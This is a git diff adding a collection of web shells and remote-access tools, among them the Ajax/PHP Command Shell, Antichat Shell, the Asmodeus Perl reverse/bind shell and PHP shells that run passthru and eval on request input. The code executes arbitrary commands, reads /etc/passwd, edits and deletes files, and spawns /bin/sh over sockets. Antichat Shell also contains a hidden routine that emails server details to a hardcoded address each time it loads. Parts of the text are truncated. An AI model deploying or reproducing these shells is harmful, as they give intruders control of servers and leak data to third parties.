diff --git a/138shell/A/Ajan.asp.txt b/138shell/A/Ajan.asp.txt
new file mode 100644
index 0000000..e4ce66e
--- /dev/null
+++ b/138shell/A/Ajan.asp.txt
@@ -0,0 +1,30 @@
+
\ No newline at end of file
diff --git a/138shell/A/Ajax_PHP Command Shell.txt b/138shell/A/Ajax_PHP Command Shell.txt
new file mode 100644
index 0000000..d08768a
--- /dev/null
+++ b/138shell/A/Ajax_PHP Command Shell.txt
@@ -0,0 +1,646 @@
+ 'ClearScreen()',
+'Clear History' => 'ClearHistory()',
+'Can I function?' => "runcommand('canirun','GET')",
+'Get server info' => "runcommand('showinfo','GET')",
+'Read /etc/passwd' => "runcommand('etcpasswdfile','GET')",
+'Open ports' => "runcommand('netstat -an | grep -i listen','GET')",
+'Running processes' => "runcommand('ps -aux','GET')",
+'Readme' => "runcommand('shellhelp','GET')"
+
+);
+$thisfile = basename(__FILE__);
+
+$style = '';
+$sess = __FILE__.$password;
+if(isset($_POST['p4ssw0rD']))
+{
+ if($_POST['p4ssw0rD'] == $password)
+ {
+ $_SESSION[$sess] = $_POST['p4ssw0rD'];
+ }
+ else
+ {
+ die("Wrong password");
+ }
+
+}
+if($_SESSION[$sess] == $password)
+{
+ if(isset($_SESSION['workdir']))
+ {
+ if(file_exists($_SESSION['workdir']) && is_dir($_SESSION['workdir']))
+ {
+ chdir($_SESSION['workdir']);
+ }
+ }
+
+ if(isset($_FILES['uploadedfile']['name']))
+ {
+ $target_path = "./";
+ $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
+ if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
+
+ }
+ }
+
+ if(isset($_GET['runcmd']))
+ {
+
+ $cmd = $_GET['runcmd'];
+
+ print "".get_current_user()."~# ". htmlspecialchars($cmd)."
";
+
+ if($cmd == "")
+ {
+ print "Empty Command..type \"shellhelp\" for some ehh...help";
+ }
+
+ elseif($cmd == "upload")
+ {
+ print '
Uploading to: '.realpath(".");
+ if(is_writable(realpath(".")))
+ {
+ print "
I can write to this directory";
+ }
+ else
+ {
+ print "
I can't write to this directory, please choose another one.";
+ }
+
+ }
+ elseif((ereg("changeworkdir (.*)",$cmd,$file)) || (ereg("cd (.*)",$cmd,$file)))
+ {
+ if(file_exists($file[1]) && is_dir($file[1]))
+ {
+ chdir($file[1]);
+ $_SESSION['workdir'] = $file[1];
+ print "Current directory changed to ".$file[1];
+ }
+ else
+ {
+ print "Directory not found";
+ }
+ }
+
+ elseif(strtolower($cmd) == "shellhelp")
+ {
+print 'Ajax/PHP Command Shell
+© By Ironfist
+
+The shell can be used by anyone to command any server, the main purpose was
+to create a shell that feels as dynamic as possible, is expandable and easy
+to understand.
+
+If one of the command execution functions work, the shell will function fine.
+Try the "canirun" command to check this.
+
+Any (not custom) command is a UNIX command, like ls, cat, rm ... If you\'re
+not used to these commands, google a little.
+
+Custom Functions
+If you want to add your own custom command in the Quick Commands list, check
+out the code. The $function array contains \'func name\' => \'javascript function\'.
+Take a look at the built-in functions for examples.
+
+I know this readme isn\'t providing too much information, but hell, does this shell
+even require one :P
+
+- Iron
+ ';
+
+ }
+ elseif(ereg("editfile (.*)",$cmd,$file))
+ {
+ if(file_exists($file[1]) && !is_dir($file[1]))
+ {
+ print "
";
+ }
+ else
+ {
+ print "File not found.";
+ }
+ }
+ elseif(ereg("deletefile (.*)",$cmd,$file))
+ {
+ if(is_dir($file[1]))
+ {
+ if(rmdir($file[1]))
+ {
+ print "Directory succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete directory!";
+ }
+ }
+ else
+ {
+ if(unlink($file[1]))
+ {
+ print "File succesfully deleted.";
+ }
+ else
+ {
+ print "Couldn't delete file!";
+ }
+ }
+ }
+ elseif(strtolower($cmd) == "canirun")
+ {
+ print "If any of these functions is Enabled, the shell will function like it should.
";
+ if(function_exists(passthru))
+ {
+ print "Passthru: Enabled
";
+ }
+ else
+ {
+ print "Passthru: Disabled
";
+ }
+
+ if(function_exists(exec))
+ {
+ print "Exec: Enabled
";
+ }
+ else
+ {
+ print "Exec: Disabled
";
+ }
+
+ if(function_exists(system))
+ {
+ print "System: Enabled
";
+ }
+ else
+ {
+ print "System: Disabled
";
+ }
+ if(function_exists(shell_exec))
+ {
+ print "Shell_exec: Enabled
";
+ }
+ else
+ {
+ print "Shell_exec: Disabled
";
+ }
+ print "
Safe mode will prevent some stuff, maybe command execution, if you're looking for a
reason why the commands aren't executed, this is probally it.
";
+ if( ini_get('safe_mode') ){
+ print "Safe Mode: Enabled";
+ }
+ else
+ {
+ print "Safe Mode: Disabled";
+ }
+ print "
Open_basedir will block access to some files you shouldn't access.
";
+ if( ini_get('open_basedir') ){
+ print "Open_basedir: Enabled";
+ }
+ else
+ {
+ print "Open_basedir: Disabled";
+ }
+ }
+ //About the shell
+ elseif(ereg("listdir (.*)",$cmd,$directory))
+ {
+
+ if(!file_exists($directory[1]))
+ {
+ die("Directory not found");
+ }
+ //Some variables
+ chdir($directory[1]);
+ $i = 0; $f = 0;
+ $dirs = "";
+ $filez = "";
+
+ if(!ereg("/$",$directory[1])) //Does it end with a slash?
+ {
+ $directory[1] .= "/"; //If not, add one
+ }
+ print "Listing directory: ".$directory[1]."
";
+ print "Directories | Files | ";
+
+ if ($handle = opendir($directory[1])) {
+ while (false !== ($file = readdir($handle))) {
+ if(is_dir($file))
+ {
+ $dirs[$i] = $file;
+ $i++;
+ }
+ else
+ {
+ $filez[$f] = $file;
+ $f++;
+ }
+
+ }
+ print "";
+
+ foreach($dirs as $directory)
+ {
+ print "[D][W]".$directory." ";
+ }
+
+ print " | ";
+
+ foreach($filez as $file)
+ {
+ print "[D]".$file." ";
+ }
+
+ print " |
";
+ }
+ }
+ elseif(strtolower($cmd) == "about")
+ {
+ print "Ajax Command Shell by Ironfist.
Version $version";
+ }
+ //Show info
+ elseif(strtolower($cmd) == "showinfo")
+ {
+ if(function_exists(disk_free_space))
+ {
+ $free = disk_free_space("/") / 1000000;
+ }
+ else
+ {
+ $free = "N/A";
+ }
+ if(function_exists(disk_total_space))
+ {
+ $total = trim(disk_total_space("/") / 1000000);
+ }
+ else
+ {
+ $total = "N/A";
+ }
+ $path = realpath (".");
+
+ print "Free: $free / $total MB
Current path: $path
Uname -a Output:
";
+
+ if(function_exists(passthru))
+ {
+ passthru("uname -a");
+ }
+ else
+ {
+ print "Passthru is disabled :(";
+ }
+ }
+ //Read /etc/passwd
+ elseif(strtolower($cmd) == "etcpasswdfile")
+ {
+
+ $pw = file('/etc/passwd/');
+ foreach($pw as $line)
+ {
+ print $line;
+ }
+
+
+ }
+ //Execute any other command
+ else
+ {
+
+ if(function_exists(passthru))
+ {
+ passthru($cmd);
+ }
+ else
+ {
+ if(function_exists(exec))
+ {
+ exec("ls -la",$result);
+ foreach($result as $output)
+ {
+ print $output."
";
+ }
+ }
+ else
+ {
+ if(function_exists(system))
+ {
+ system($cmd);
+ }
+ else
+ {
+ if(function_exists(shell_exec))
+ {
+ print shell_exec($cmd);
+ }
+ else
+ {
+ print "Sorry, none of the command functions works.";
+ }
+ }
+ }
+ }
+ }
+ }
+
+ elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST['filecontent']))
+ {
+ $file = $_POST['filetosave'];
+ if(!is_writable($file))
+ {
+ if(!chmod($file, 0777))
+ {
+ die("Nope, can't chmod nor save :("); //In fact, nobody ever reads this message ^_^
+ }
+ }
+
+ $fh = fopen($file, 'w');
+ $dt = $_POST['filecontent'];
+ fwrite($fh, $dt);
+ fclose($fh);
+ }
+ else
+ {
+?>
+
+Command Shell ~
+
+
+
+
+
+
+
+
+
+Command history
+
+
+About
+
+
+ Ajax/PHP Command Shellby Ironfist
+
+Version
+
+
+
+
+ Thanks to everyone @
+ SharePlaza
+
+ milw0rm
+
+and special greetings to everyone in rootshell
+
+
+ |
+
+
+ |
+
+
+
+
+
+";
+}
+?>
\ No newline at end of file
diff --git a/138shell/A/Antichat Shell v1.3.txt b/138shell/A/Antichat Shell v1.3.txt
new file mode 100644
index 0000000..72ea5cb
--- /dev/null
+++ b/138shell/A/Antichat Shell v1.3.txt
@@ -0,0 +1,180 @@
+BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}';
+$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.'';
+$footer='';
+$sd98 = "john.barker446@gmail.com";
+$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
+if(@$_POST['action']=="exit")unset($_SESSION['an']);
+if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1';
+
+if($_SESSION['an']==0){
+echo $header;
+echo '';
+echo $footer;
+exit;}
+
+if($_SESSION['action']=="")$_SESSION['action']="viewer";
+if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action'];
+if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir'];
+if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";}
+
+
+//downloader
+if($action=="download"){
+header('Content-Length:'.filesize($file).'');
+header('Content-Type: application/octet-stream');
+header('Content-Disposition: attachment; filename="'.$file.'"');
+readfile($file);
+}
+//end downloader
+?>
+
+ echo $header;?>
+
+
+
+
+
+
+
+//shell
+function shell($cmd){
+if (!empty($cmd)){
+ $fp = popen($cmd,"r");
+ {
+ $result = "";
+ while(!feof($fp)){$result.=fread($fp,1024);}
+ pclose($fp);
+ }
+ $ret = $result;
+ $ret = convert_cyr_string($ret,"d","w");
+}
+return $ret;}
+
+if($action=="shell"){
+echo "";}
+//end shell
+
+//viewer FS
+function perms($file)
+{
+ $perms = fileperms($file);
+ if (($perms & 0xC000) == 0xC000) {$info = 's';}
+ elseif (($perms & 0xA000) == 0xA000) {$info = 'l';}
+ elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
+ elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
+ elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
+ elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
+ elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
+ else {$info = 'u';}
+ $info .= (($perms & 0x0100) ? 'r' : '-');
+ $info .= (($perms & 0x0080) ? 'w' : '-');
+ $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
+ $info .= (($perms & 0x0020) ? 'r' : '-');
+ $info .= (($perms & 0x0010) ? 'w' : '-');
+ $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
+ $info .= (($perms & 0x0004) ? 'r' : '-');
+ $info .= (($perms & 0x0002) ? 'w' : '-');
+ $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
+ return $info;
+}
+
+function view_size($size)
+{
+ if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
+ elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
+ elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
+ else {$size = $size . " B";}
+ return $size;
+}
+
+function scandire($dir){
+ $dir=chdir($dir);
+ $dir=getcwd()."/";
+ $dir=str_replace("\\","/",$dir);
+if (is_dir($dir)) {
+ if (@$dh = opendir($dir)) {
+ while (($file = readdir($dh)) !== false) {
+ if(filetype($dir . $file)=="dir") $dire[]=$file;
+ if(filetype($dir . $file)=="file")$files[]=$file;
+ }
+ closedir($dh);
+ @sort($dire);
+ @sort($files);
+
+echo "";
+}}}
+
+if($action=="viewer"){
+scandire($dir);
+}
+//end viewer FS
+
+//editros
+if($action=="editor"){
+ function writef($file,$data){
+ $fp = fopen($file,"w+");
+ fwrite($fp,$data);
+ fclose($fp);
+ }
+ function readf($file){
+ if(!$le = fopen($file, "rb")) $contents="Can't open file, permission denide"; else {
+ $contents = fread($le, filesize($file));
+ fclose($le);}
+ return htmlspecialchars($contents);
+ }
+if($_POST['save'])writef($file,$_POST['data']);
+echo "";
+}
+//end editors
+?>
+ |
+ echo $footer;?>
diff --git a/138shell/A/Asmodeus v0.1.pl.txt b/138shell/A/Asmodeus v0.1.pl.txt
new file mode 100644
index 0000000..600036d
--- /dev/null
+++ b/138shell/A/Asmodeus v0.1.pl.txt
@@ -0,0 +1,131 @@
+#!/usr/bin/perl
+
+#
+
+# Asmodeus v0.1
+
+# Perl Remote Shell
+
+# by phuket
+
+# www.smoking-gnu.org
+
+#
+
+# (Server is based on some code found on [url=http://www.governmentsecurity.org)]www.governmentsecurity.org)[/url]
+
+#
+
+
+
+# perl asmodeus.pl client 6666 127.0.0.1
+
+# perl asmodeus.pl server 6666
+
+#
+
+
+
+
+
+use Socket;
+
+
+
+$cs=$ARGV[0];
+
+$port=$ARGV[1];
+
+$host=$ARGV[2];
+
+
+
+if ($cs eq 'client') {&client}
+
+elsif ($cs eq 'server') {&server}
+
+
+
+
+
+
+
+
+
+sub client{
+
+socket(TO_SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
+
+$internet_addr = inet_aton("$host") or die "ALOA:$!\n";
+
+$paddr=sockaddr_in("$port", $internet_addr);
+
+connect(TO_SERVER, $paddr) or die "$port:$internet_addr:$!\n";
+
+open(STDIN, ">&TO_SERVER");
+
+open(STDOUT, ">&TO_SERVER");
+
+open(STDERR, ">&TO_SERVER");
+
+print "Asmodeus Perl Remote Shell\n";
+
+system(date);
+
+system("/bin/sh");
+
+close(TO_SERVER);
+
+}
+
+
+
+
+
+
+
+
+
+
+
+sub server{
+
+$proto=getprotobyname('tcp');
+
+$0="asm";
+
+$system='/bin/sh';
+
+socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
+
+setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
+
+bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
+
+listen(SERVER, SOMAXCONN) or die "listen: $!";
+
+for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
+
+ open(STDIN, ">&CLIENT");
+
+ open(STDOUT, ">&CLIENT");
+
+ open(STDERR, ">&CLIENT");
+
+ print "Asmodeus Perl Remote Shell\n";
+
+ system(date);
+
+ system("/bin/sh");
+
+ close(STDIN);
+
+ close(STDOUT);
+
+ close(STDERR);
+
+ return;
+
+}
+
+}
\ No newline at end of file
diff --git a/138shell/A/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt b/138shell/A/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
new file mode 100644
index 0000000..e162769
--- /dev/null
+++ b/138shell/A/Ayyildiz Tim -AYT- Shell v 2.1 Biz.txt
@@ -0,0 +1,317 @@
+
+
+
+
+
+
+Ayyildiz Tim | AYT | Shell v 2.1 Biz Büyük Türk Milletinin Hizmetindeyiz...
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+HACKED BY AYYILDIZ ™
+
+
+
+
+
+
+
+
+
+
+
+
+
+ |
+ |
+
+ |
+
+ |
+ |
+ | |
+
+
+
+
+
+
+
+
+
+
+
+
+Ayyildiz-Tim Shell
+
+
+
+
+
+
+
+
+
+
+
+
+ Copyright © 2006–2007, Powered byThehacker. v 2.1 - www.ayyildiz.org
+ Ayyildiz TIM | AYT | TUM HAKLARI SAKLIDIR.
+ |
+
+
+
+
+
+
+
+
+
+
+
+
+
+");
+print("Exécuter du code PHP
");
+print("Lister un répertoires
");
+print("Gérer les fichiers
");
+print("Envoyer un mail
");
+print("Infos serveur
");
+print("Contacter le créateur
");
+
+
+/* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
+$option = $_REQUEST["option"];
+$rep = $_REQUEST["rep"];
+$nom = $_REQUEST["nom"];
+$option_file = $_REQUEST["option_file"];
+$cmd = $_REQUEST["cmd"];
+$code = $_REQUEST["code"];
+$msg = $_REQUEST["msg"];
+$option_mail = $_REQUEST["option_mail"];
+$destinataire = $_REQUEST["destinataire"];
+$sujet = $_REQUEST["sujet"];
+$message = $_REQUEST["message"];
+
+if($option == 1){
+ print("");
+ echo "
PS : peu de serveurs acceptent les commandes venant de PHP";
+}
+
+if($option == 2){
+ print("");
+}
+
+if($option == 3){
+ print("");
+ print("$rep");
+}
+
+if($option == 4){
+ print("
");
+}
+
+
+if($option == 5){
+ print("");
+}
+
+if($option == 6){
+ echo"Nom du serveur : $SERVER_NAME
+";
+ echo"Adresse IP du serveur : $SERVER_ADDR
";
+ echo"Port utilisé par défault 80 : $SERVER_PORT
";
+ echo"Mail de l' admin : $SERVER_ADMIN
";
+
+
+ echo"Racine du serveur : $DOCUMENT_ROOT
";
+ echo"Adresse menant à COMMAND.COM : $COMSPEC
";
+ echo"Path installé sur le serveur : $PATH
";
+ echo"OS, SERVEUR, version PHP : $SERVER_SOFTWARE
";
+
+ echo"Version du protocole utilisé (HTTP) : $SERVER_PROTOCOL
";
+ echo"En-tête Accept du protocole HTTP : $HTTP_ACCEPT
";
+ echo"En tête User_agent du protocole HTTP : $HTTP_USER_AGENT
";
+ echo"En-tête Accept-Charset du protocole HTTP : $HTTP_ACCEPT_CHARSET
";
+ echo"En-tête Accept-Encoding du protocole HTTP : $HTTP_ACCEPT_ENCODING
";
+ echo"En-tête Accept-Language du protocole HTTP : $HTTP_ACCEPT_LANGUAGE
";
+ echo"En-tête Connection du protocole HTTP : $HTTP_CONNECTION
";
+ echo"En-tête Host du protocole HTTP : $HTTP_HOST
";
+
+ echo"Version de CGI : $GATEWAY_INTERFACE
";
+ echo"Version de récupération du form : $REQUEST_METHOD
";
+ echo"Argument de l' adresse : $QUERY_STRING
";
+ echo"Nom du script : $SCRIPT_NAME
";
+ echo"Chemin du script : $SCRIPT_FILENAME
";
+ echo"Adresse entière du script : $REQUEST_URI
+
";
+}
+
+/* Commande*******/
+if($cmd != "")
+{
+ echo "{${passthru($cmd)}}
";
+}
+/* Commande*******/
+
+
+/* Exécution de code PHP**********/
+if($code != ""){
+ $code = stripslashes($code);
+ eval($code);
+}
+/* Execution de code PHP**********/
+
+
+/* Listing de rep******************/
+if($rep != "")
+{
+ if(strrchr($rep, "/") != "" || !stristr($rep, "/")) $rep .= "/";
+ $dir=opendir($rep);
+ while ($file = readdir($dir))
+ {
+ if (is_dir("$rep/$file") && $file!='.')
+ {
+ echo"(rep) $file
+
\n";
+ }elseif(is_file("$rep/$file"))
+ {
+ echo " (file) $file del edit
\n";
+ }
+ }
+}
+/* Listing de rep******************/
+
+
+/* Gestion des fichiers*********************/
+if($option_file == "mkdir" && $nom != "")
+{
+ $fp = fopen($nom, "w");
+ fwrite($fp, stripslashes($msg));
+ print("Fichier crée/modifié");
+}
+
+if($option_file == "read" && $nom != "")
+{
+ $fp = fopen($nom, "r");
+ $file = fread($fp, filesize($nom));
+ $file = htmlentities ($file, ENT_QUOTES);
+ $file = nl2br($file);
+ echo "
$file";
+}
+
+if($option_file == "del" && $nom != "")
+{
+ unlink($nom);
+ print("Fichier effacé");
+}
+
+if($option_file == "edit" && $nom != "")
+{
+ $fp = fopen($nom, "r");
+ $file = fread($fp, filesize($nom));
+ $file = htmlentities ($file, ENT_QUOTES);
+ echo "";
+}
+/* Gestion des fichiers*********************/
+
+
+/* Envoi de mails************************/
+if(($destinataire != "" ) && ($sujet != "") && ($message != "")){
+ $option_mail = "From: $provenance \n";
+ $option_mail .= "Reply-to: $retour \n";
+ $option_mail .= "X-Mailer: Mailer by rAidEn \n";
+
+ mail($destinataire, $sujet, $message, $option_mail);
+
+ print("Mail envoyé a : $destinataire ...");
+}
+/* Envoi de mails************************/
+
+print("");
+/*print("